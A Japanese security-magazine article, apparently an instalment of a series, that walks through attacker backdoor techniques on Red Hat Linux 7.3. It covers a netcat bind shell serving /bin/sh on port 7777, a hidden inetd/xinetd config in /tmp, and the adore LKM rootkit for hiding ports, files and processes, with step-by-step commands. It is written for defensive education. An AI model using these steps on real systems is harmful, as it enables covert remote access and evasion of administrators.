先に紹介したバックドアの手法は、あくまで一例にすぎない。攻撃者は、与えられた環境下の中で、さまざまな手法によりバックドアを仕掛けるだろう。ここでは、よく知られている手法を紹介する。
hobbit氏が作成したnetcatは、対象サーバとTCPまたはUDPでネットワーク接続して、データを読み書きするためのバックエンドツールだ。あるときはポートスキャンツール、またあるときはサービスデーモンとして特定ポートで待機(listen)させることが可能な、とても便利なネットワークツールの1つだ。ここではサービスデーモンとして待機させる方法でバックドアを仕掛ける。
なお、netcatには、UNIX版のほかにWindows版が提供されており、Windows版でもUNIX版と同等のオプションを指定して実行することが可能となっている。
1.netcatを送り込む
まずnetcat 1.10(nc110.tgz)をダウンロードし対象サーバ上に送る必要がある。netcatはバイナリファイルで提供されているので、ftpなどを使って対象サーバにファイル転送すればよい。*3
2.netcatのコンパイル (対象サーバの環境)
netcat 1.10をインストールする。デフォルトでは-eオプション(コマンド実行)が無効となっているので、コンパイル時にGAPING_SECURITY_HOLE変数をセットする必要がある。また、Red Hat Linux 7.3の場合、いくつかパッチを適用しないと、netcatは正常にコンパイルされない。そこで、Red Hatが提供するnetcatのRPM版からパッチファイルを抜き出したものを、GAPING_SECURITY_HOLE分と合わせてパッチ(nc110-linux.diff)として適用することにした。
/tmp以下に、nc110.tgzおよびnc110-linux.diffが存在することを前提として説明する。
# cd /tmp |
/tmp/ncにnetcatのソースコードが展開される。
# cd nc110 |
実行形式のバイナリファイルncが生成される。
3.netcat(nc)の実行 (対象サーバの環境)
netcatを7777/tcpで待機させる。また、7777/tcpのコネクション要求時に実行されるコマンドは/bin/shとする。
# ./nc -l -n 7777 -e
/bin/sh |
4.バックドアの確認 (攻撃者の環境)
確認もnetcatを使う。攻撃者の環境より以下を実行する。
% nc 192.168.0.10 7777 |
コマンドプロンプトは返ってこないが、対象サーバ上のコマンドは実行できる状態になっている。上記はhostnameとidコマンドの実行した様子を示している。
inetdは、古くからUNIXで利用されているインターネットスーパーサーバと呼ばれるプログラムだ。その役割は、特定ポートに対するコネクション要求を一手に引き受け、そのポートに応じたサービスデーモンを起動することにある。
しばしば、ftpやtelnetといった頻繁に使用されないデーモンプロセス*4の多くは、このinetd経由で起動される。またxinetdは、inetdの機能拡張版として、本稿の対象サーバであるRed Hat Linux 7.3では、inetdに代わり標準でインストールされている。
1.一時ファイル(/tmp/.inetd.conf)を作る
対象サーバにて、inetd(xinetd)の定義ファイルを作成する。
# cat <<EOF >
/tmp/.inetd.conf |
# cat <<EOF >
/tmp/.inetd.conf |
なお、実行するシェルがbashの場合は、「/bin/sh --noediting -i」とした方がよいだろう。
2.inetd(xinetd)を起動
対象サーバにて、作成した設定ファイル(/tmp/.inetd.conf)を指定して、inetd(xinetd)のデーモンプロセスを起動する。
# /usr/sbin/inetd /tmp/.inetd.conf |
# /usr/sbin/xinetd
-f /tmp/.inetd.conf |
3.バックドアの確認 (攻撃者の環境)
攻撃者の環境よりnetcatを使用して接続し、対象サーバ上のコマンドを実行できるかどうかを確認する。以下では、バックドアで接続後、対象サーバ上でidコマンドを実行した様子を示している。
# nc 192.168.0.10 8888 |
adoreは、Stealth氏が作成したrootkitプログラムの一種で、Linux版とFreeBSD版が存在する。adoreの特徴としては、従来の特定ファイル(プログラム)を改ざんするタイプのものとは異なり、LKM(Loadable Kernel Module)を利用したバックドアプログラムであることが挙げられる。
従来型 rootkit | ls、ps、netstatなどのファイル(コマンド)を直接改ざんし、特定ファイルやプロセスなどを隠ぺい。ほかにはlrkやt0rnがよく知られている。 |
---|---|
LKM型 rootkit | ls、ps、netstatなどのファイル(コマンド)を直接改ざんせずに、カーネルレベルで特定ファイルやプロセスなどを隠ぺい。ほかにはknarkなどがよく知られている。 |
LKMは、最近の多くのUNIXで取り込まれており、必要に応じてさまざまな機能をモジュールとしてカーネルに取り込んだり(ロード)、取り外したり(アンロード)することのできる機能である。ここで紹介するRed Hat Linux 7.3 (kernel 2.4)でもLKMが採用されている。
1.adoreコンパイルの前に
adoreをコンパイルするには、カーネルのソースコード(kernel-source)が必要になる。/usr/src/linux(/usr/src/linux-2.4)が存在しない場合は、現行カーネルに該当するソースコードを事前に準備しておく。
2.adoreのコンパイル
adore 0.42を展開すると、以下のファイル/ディレクトリで構成されることが分かる。
# tar zxvf adore-0.42.tgz |
続いて./configureを実行する。
# ./configure Starting adore configuration ...
|
ここで指定するパスワードは、adore本体と操作プログラムのava間の認証で用いられる。
Makefileが生成される。また、必要に応じてadore.hをエディタで編集する。ここでは6000/tcp(x11)の通信を隠すために、以下のとおりadore.hを修正した。
・ 変更前
char *HIDDEN_SERVICES[]
= |
・変更後
char *HIDDEN_SERVICES[]
= |
カンマ(,)で区切ることで複数のポートやサービス名を指定できるが、最後は必ずNULLで終了すること。
adore.hを修正したら、makeコマンドを実行してコンパイルする。
# make |
3.adoreモジュールのロード
生成したadore(adore.o)モジュールをカーネルにロードするには、シェルスクリプトのstartadoreを実行する。なお、startadoreでは、以下の3つのコマンドが実行されているだけである。
insmod adore.o |
insmodでadore.oをロードした後に、insmod cleaner.oでロードしたadore.oを隠ぺいし、隠ぺいに用いたcleaner.oをrmmodでアンロードしている。
# ./startadore |
4.確認
startadore実行後、lsmodでロードされているモジュールを確認しても、adore.oは表示されない。
# lsmod |
また、この時点でポート番号6000/tcp(x11)の通信が表示されなくなる。netstat --inet (or netstat -n --inet)で確認してみる。
・ 隠ぺい前
# netstat --inet |
・隠ぺい後
# netstat --inet |
192.168.0.10 (32785/tcp)から172.16.10.10(6000/tcp)への通信が表示されなくなった。また、adore.oをロードした時点で、adoreをコンパイルしたファイルやディレクトリ(/tmp/adore以下)も隠ぺいされてしまう。
# ls -al /tmp |
lsコマンドで/tmp以下を一覧表示してもadoreディレクトリは見当たらないが、隠ぺいされているだけで、実際には存在している。
# ls -ld /tmp/adore |
5、adoreそのほか
adoreには、avaというadoreを操作するためのプログラムが用意されており、特定ファイルやプロセスの表示を隠ぺいすることができる。以下はそのavaの使用方法だ。
# ./ava
h |
オプション | 用途 | |
---|---|---|
h | 指定したファイルの隠ぺい | |
u | 指定したファイルの隠ぺいを解除 | |
r | 指定したコマンドをroot権限で実行 | |
R | 指定したプロセスID(PID)を永久的に隠ぺい | |
U | adoreのアンインストール | |
i | 指定したPIDの隠ぺい | |
v | 指定したPIDの隠ぺいを解除 | |
表1 avaのオプション |
1.実行前の確認
psコマンドで、PID 16863のemacsプロセスが表示されていることを確認。
$ ps -efww|grep emacs |
2.avaの実行
avaのiオプションでPID 16863のプロセスを隠す。
# ./ava i 16863 |
3.実行後の確認
実行前と同様にpsコマンドで確認しても、PID 16863のプロセスは表示されなくなった(隠ぺいに成功)。
# ps -ef | grep emacs |
4.元に戻す
# ./ava v 16863 |
avaのvオプションでプロセスID 16863の隠ぺいを解除すると、psコマンドでemacsプロセスが再び表示されるようになった。
次回は、今回紹介したバックドアへの対処方法と、侵入されてしまった場合の事後調査の方法を説明する。
主に、不正アクセス監視サービス、セキュリティ検査、セキュリティポリシー策定支援などのサービス提供している。また、セキュリティに関する教育サービスも実施中。
木村 靖(きむら やすし)
セキュリティコンサルタントとして、不正アクセス監視やセキュリティ検査 などに従事している。金融機関、官公庁、大手製造業などへのセキュリティシ ステムの導入、セキュリティ検査などの実績を持つ。
Copyright © ITmedia, Inc. All Rights Reserved.